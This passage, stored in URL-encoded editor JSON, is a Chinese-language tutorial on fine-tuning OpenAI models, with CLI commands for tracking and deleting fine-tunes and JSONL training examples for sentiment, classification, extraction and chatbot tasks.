2u81f5fa4b%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%E7%94%B1%E4%BA%8E%E8%BF%99%E4%B8%AA%E5%8A%9F%E8%83%BD%E5%B9%B6%E4%B8%8D%E6%98%AF%E5%9C%A8%E6%9C%AC%E5%9C%B0%E5%AE%8C%E6%88%90%E7%9A%84%EF%BC%8C%E5%9C%A8openai%E7%9A%84%E5%B9%B3%E5%8F%B0%E4%B8%AD%E5%8F%AF%E8%83%BD%E4%BC%9A%E6%8E%92%E5%9C%A8%E5%87%A0%E5%B0%8F%E6%97%B6%E4%B9%8B%E5%90%8E%E3%80%82%E4%BD%A0%E5%8F%AF%E4%BB%A5%E9%9A%8F%E6%97%B6%E4%B8%AD%E6%96%AD%E8%BF%99%E4%B8%AA%E4%BB%BB%E5%8A%A1%E3%80%82%E5%B9%B6%E9%9A%8F%E6%97%B6%E6%81%A2%E5%A4%8D%E8%BF%9B%E7%A8%8B%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u148d9e76%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22Hk6J5%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22openai%20api%20fine_tunes.follow%20-i%20%3CYOUR_FINE_TUNE_JOB_ID%3E%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4326e5f2%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc0d64fa5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%9C%A8%E6%88%90%E5%8A%9F%E8%AE%AD%E7%BB%83%E5%AE%8C%E6%88%90%E4%B9%8B%E5%90%8E%EF%BC%8C%E4%BD%A0%E4%BC%9A%E8%8E%B7%E5%BE%97%E7%9B%B8%E5%BA%94%E7%9A%84%E6%A8%A1%E5%9E%8Bid%E3%80%82%E4%BD%A0%E5%B0%B1%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%E5%AF%B9%E5%BA%94%E7%9A%84%E6%A8%A1%E5%9E%8Bid%E6%9D%A5%E4%BD%BF%E7%94%A8%E5%AE%83%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua77b3b86%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud9605eac%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E9%9A%8F%E6%97%B6%E5%88%A0%E9%99%A4%E8%BF%99%E4%BA%9B%E6%A8%A1%E5%9E%8B%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u707cb676%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22cJFk3%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22openai%20api%20models.delete%20-i%20%3CFINE_TUNED_MODEL%3E%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22j0RS7%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue9ee49b2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%B8%80%E4%BA%9B%E8%AE%AD%E7%BB%83%E8%8C%83%E4%BE%8B%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8e05cebd%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue4551f52%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E6%88%91%E7%A0%94%E7%A9%B6%E4%BA%86%E4%B8%80%E4%BA%9B%E7%9B%B8%E5%BA%94%E7%9A%84%E8%AE%AD%E7%BB%83%E8%8C%83%E4%BE%8B%E5%AE%9E%E8%B7%B5%EF%BC%8C%E5%85%B6%E4%B8%AD%E8%BF%98%E6%9C%89%E5%BE%88%E5%A4%9A%E6%9C%89%E6%84%8F%E6%80%9D%E7%9A%84%E6%96%B9%E6%A1%88%E3%80%82%E6%88%91%E6%8C%91%E4%BA%86%E4%B8%80%E4%BA%9B%E6%AF%94%E8%BE%83%E6%9C%89%E7%89%B9%E7%82%B9%E7%9A%84%E9%80%89%E5%87%BA%E6%9D%A5%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u90bb0bda%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5dbf9cfe%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%221%E3%80%81%E5%90%A6%E5%AE%9A%E8%AE%AD%E7%BB%83%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u361e69de%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1d66e7e3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%A6%82%E6%9E%9C%E4%BD%A0%E5%9C%A8%E5%92%8CChatGPT%E7%9A%84%E5%AF%B9%E8%AF%9D%E5%BD%93%E4%B8%AD%EF%BC%8C%E9%81%87%E5%88%B0%E5%8F%8D%E9%A6%88%E7%9A%84%E4%BA%8B%E5%AE%9E%E9%94%99%E8%AF%AF%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4b291b6d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87%E5%90%A6%E5%AE%9A%E8%AE%AD%E7%BB%83%E6%9D%A5%E6%8E%92%E9%99%A4%E8%BF%99%E9%83%A8%E5%88%86%E5%B9%B6%E6%9B%B4%E6%AD%A3%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u91c32b54%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22Td2S1%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22%7B%5C%22prompt%5C%22%3A%5C%22testtest%5C%22%2C%20%5C%22completion%5C%22%3A%5C%22%20yes%5C%22%7D%5Cn%7B%5C%22prompt%5C%22%3A%5C%22test%5C%22%2C%20%5C%22completion%5C%22%3A%5C%22%20no%5C%22%7D%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u2370e0f0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u101b5f26%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%222%E3%80%81%E6%83%85%E6%84%9F%E5%88%86%E6%9E%90%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6bf1fed1%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2761232a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%9C%A8ChatGPT%E7%9A%84%E9%85%8D%E7%BD%AE%E4%B8%AD%EF%BC%8C%E6%9C%89%E4%B8%AA%E5%BE%88%E9%87%8D%E8%A6%81%E7%9A%84%E5%8F%82%E6%95%B0%E5%B0%B1%E6%98%AF%E6%83%85%E7%BB%AA%E5%80%BC%E3%80%82%E5%BE%88%E6%98%BE%E7%84%B6%EF%BC%8CChatGPT%E7%9A%84%E6%83%85%E7%BB%AA%E8%82%AF%E5%AE%9A%E4%B8%8D%E6%98%AF%E7%A9%BA%E7%A9%B4%E6%9D%A5%E9%A3%8E%EF%BC%8C%E8%BF%99%E6%9C%AC%E8%BA%AB%E6%98%AF%E5%9F%BA%E4%BA%8E%E6%95%B0%E6%8D%AE%E9%9B%86%E8%AE%AD%E7%BB%83%E7%9A%84%E7%BB%93%E6%9E%9C%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u146d3e5a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u62aceb6d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%EF%BC%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0a9b5b3e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%BE%AE%E8%B0%83%E6%9D%A5%E5%AF%B9%E4%BD%A0%E6%95%B0%E6%8D%AE%E9%9B%86%E6%A0%87%E6%B3%A8%E6%83%85%E7%BB%AA%E4%BB%A5%E6%AD%A4%E8%AE%AD%E7%BB%83%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u42b7898f%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22wxfl7%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22%7B%5C%22prompt%5C%22%3A%5C%22Overjoyed%20with%20the%20new%20iPhone!%20-%3E%5C%22%2C%20%5C%22completion%5C%22%3A%5C%22%20positive%5C%22%7D%5Cn%7B%5C%22prompt%5C%22%3A%5C%22%40lakers%20disappoint%20for%20a%20third%20straight%20night%20%20-%3E%5C%22%2C%20%5C%22completion%5C%22%3A%5C%22%20negative%5C%22%7D%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6434359d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u93b11204%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E4%BD%A0%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87api%E6%9D%A5%E8%8E%B7%E5%8F%96prompt%E5%AF%B9%E5%BA%94%E7%9A%84%E6%83%85%E7%BB%AA%E5%88%A4%E6%96%AD%E5%80%BC%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u9a0333bd%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue40c7923%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%223%E3%80%81%E5%88%86%E7%B1%BB%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u36c5094e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf4f49a5e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%A6%82%E6%9E%9C%E4%BD%A0%E6%83%B3%E8%A6%81ChatGPT%E5%B8%AE%E4%BD%A0%E5%AE%8C%E6%88%90%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6bd77b36%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%88%86%E7%B1%BB%E7%9A%84%E5%B7%A5%E4%BD%9C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u78d28228%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E9%82%A3%E6%9C%80%E5%A5%BD%E7%9A%84%E6%96%B9%E6%A1%88%E6%98%AF%E6%8F%90%E4%BE%9B%E8%8C%83%E4%BE%8B%E5%B9%B6%E4%BB%A5%E6%95%B0%E5%AD%97%E4%BD%9C%E4%B8%BA%E6%A0%87%E5%BF%97.%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u38f8b1f5%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22KN2LL%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22%7B%5C%22prompt%5C%22%3A%5C%22test%5C%22%2C%20%5C%22completion%5C%22%3A%5C%22%201%5C%22%7D%5Cn%7B%5C%22prompt%5C%22%3A%5C%221231421%5C%22%2C%20%5C%22completion%5C%22%3A%5C%22%202%5C%22%7D%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc970a0e0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud394c5bf%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87%E6%95%B0%E5%AD%97%E6%A0%87%E5%BF%97%E5%8F%AF%E4%BB%A5%E5%B8%AE%E5%8A%A9ChatGPT%E6%9B%B4%E5%87%86%E7%A1%AE%E7%9A%84%E5%AF%B9%E7%9B%AE%E6%A0%87%E5%81%9A%E5%88%86%E7%B1%BB%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u9ac56a64%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u62418872%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%224%E3%80%81%E6%A0%B7%E6%9C%AC%E5%A4%84%E7%90%86%E4%B8%8E%E6%8F%90%E5%8F%96%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u7742398a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf6846634%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%A6%82%E6%9E%9C%E4%BD%A0%E9%9C%80%E8%A6%81%E7%94%A8ChatGPT%E6%9D%A5%E5%AE%8C%E6%88%90%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0d87cc14%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%A0%B7%E6%9C%AC%E6%8F%90%E5%8F%96%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u44cbf8a1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%B7%A5%E4%BD%9C%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E7%94%A8%E4%B8%80%E4%BA%9B%E7%AE%80%E5%8D%95%E7%9A%84%E5%A4%9A%E8%A1%8C%E8%8C%83%E4%BE%8B%E6%9D%A5%E4%B8%BE%E8%AF%81%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub2913faa%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22opDNC%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22%7B%5C%22prompt%5C%22%3A%5Cn%5C%22Portugal%20will%20be%20removed%20from%20the%20UK&#39;s%20green%20travel%20list%20from%20Tuesday%2C%20amid%20rising%20coronavirus%20cases%20and%20concern%20over%20a%20%5C%5C%5C%22Nepal%20mutation%20of%20the%20so-called%20Indian%20variant%5C%5C%5C%22.%20It%20will%20join%20the%20amber%20list%2C%20meaning%20holidaymakers%20should%20not%20visit%20and%20returnees%20must%20isolate%20for%2010%20days...%5C%5Cn%5C%5Cn%23%23%23%5C%5Cn%5C%5Cn%5C%22%2C%20%5Cn%5C%22completion%5C%22%3A%5Cn%5C%22%20Portugal%5C%5CnUK%5C%5CnNepal%20mutation%5C%5CnIndian%20variant%20END%5C%22%7D%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8557b24b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2a119b30%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E7%90%86%E8%AE%BA%E4%B8%8A%E6%9D%A5%E8%AF%B4%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E6%8F%90%E4%BE%9B%E5%A4%A7%E9%87%8F%E7%9A%84%E6%A0%B7%E6%9C%AC%E6%A0%87%E5%87%86%E6%96%87%E6%9C%AC%E7%9A%84%E6%8F%90%E5%8F%96%E6%96%B9%E6%A1%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud86d4cf6%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6b8a78ae%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%225%E3%80%81%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u53faeca7%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4433078e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%A6%82%E6%9E%9C%E4%BD%A0%E9%9C%80%E8%A6%81%E5%AE%8C%E6%88%90%E4%B8%80%E4%B8%AA%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%E7%9A%84%E5%8A%9F%E8%83%BD%EF%BC%8C%E6%9C%80%E5%A5%BD%E7%9A%84%E5%8A%9E%E6%B3%95%E6%98%AF%E7%BB%99ChatGPT%E6%8F%90%E4%BE%9B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u9387d462%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E9%97%AE%E9%A2%98%E4%BB%A5%E5%8F%8A%E5%A4%A7%E9%87%8F%E5%9B%9E%E7%AD%94%E6%A0%B7%E6%9C%AC%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua5814c36%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E8%BF%99%E6%A0%B7%E5%8F%AF%E4%BB%A5%E8%AE%A9ChatGPT%E5%AD%A6%E4%B9%A0%E4%BB%96%E5%BA%94%E8%AF%A5%E5%9B%9E%E7%AD%94%E7%9A%84%E5%86%85%E5%AE%B9%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4ec94864%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22bIY04%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22%7B%5C%22prompt%5C%22%3A%5C%22Summary%3A%20%3Csummary%20of%20the%20interaction%20so%20far%3E%5C%5Cn%5C%5CnSpecific%20information%3A%3Cfor%20example%20order%20details%20in%20natural%20language%3E%5C%5Cn%5C%5Cn%23%23%23%5C%5Cn%5C%5CnCustomer%3A%20%3Cmessage1%3E%5C%5CnAgent%3A%20%3Cresponse1%3E%5C%5CnCustomer%3A%20%3Cmessage2%3E%5C%5CnAgent%3A%5C%22%2C%20%5Cn%5C%22completion%5C%22%3A%5C%22%20%3Cresponse2%3E%5C%5Cn%5C%22%7D%5Cn%7B%5C%22prompt%5C%22%3A%5C%22Summary%3A%20%3Csummary%20of%20the%20interaction%20so%20far%3E%5C%5Cn%5C%5CnSpecific%20information%3A%3Cfor%20example%20order%20details%20in%20natural%20language%3E%5C%5Cn%5C%5Cn%23%23%23%5C%5Cn%5C%5CnCustomer%3A%20%3Cmessage1%3E%5C%5CnAgent%3A%20%3Cresponse1%3E%5C%5CnCustomer%3A%20%3Cmessage2%3E%5C%5CnAgent%3A%20%3Cresponse2%3E%5C%5CnCustomer%3A%20%3Cmessage3%3E%5C%5CnAgent%3A%5C%22%2C%20%5Cn%5C%22completion%5C%22%3A%5C%22%20%3Cresponse3%3E%5C%5Cn%5C%22%7D%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6293e968%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4eda629d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E4%BD%A0%E5%8F%AF%E4%BB%A5%E5%83%8F%E8%BF%99%E4%B8%AA%E8%8C%83%E4%BE%8B%E4%B8%AD%E8%AE%B2%E7%9A%84%E4%B8%80%E6%A0%B7%EF%BC%8C%E6%8C%89%E7%85%A7%E9%97%AE%E9%A2%98%E5%9B%9E%E7%AD%94%E5%9C%BA%E6%99%AF%E6%9D%A5%E5%88%92%E5%88%86%E6%8F%90%E7%A4%BA%E8%AF%8D%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22NqIKZ%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u97228b1d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%B8%80%E4%B8%AA%E5%B0%8F%E5%B0%8F%E7%9A%84%E5%AE%9E%E4%BE%8B%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ucf69c574%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub879a74c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E6%8E%A5%E4%B8%8B%E6%9D%A5%E8%B7%9F%E7%9D%80%E5%89%8D%E9%9D%A2%E7%9A%84%E6%AF%8F%E4%B8%80%E6%AD%A5%E6%9D%A5%E8%AE%AD%E7%BB%83%E4%B8%80%E4%B8%AA%E8%87%AA%E5%B7%B1%E7%9A%84ChatGPT%EF%BC%8C%E9%A6%96%E5%85%88%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E5%87%86%E5%A4%87%E4%B8%80%E4%BB%BD%E6%95%B0%E6%8D%AE%E9%9B%86%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u893f454c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%BF%99%E9%87%8C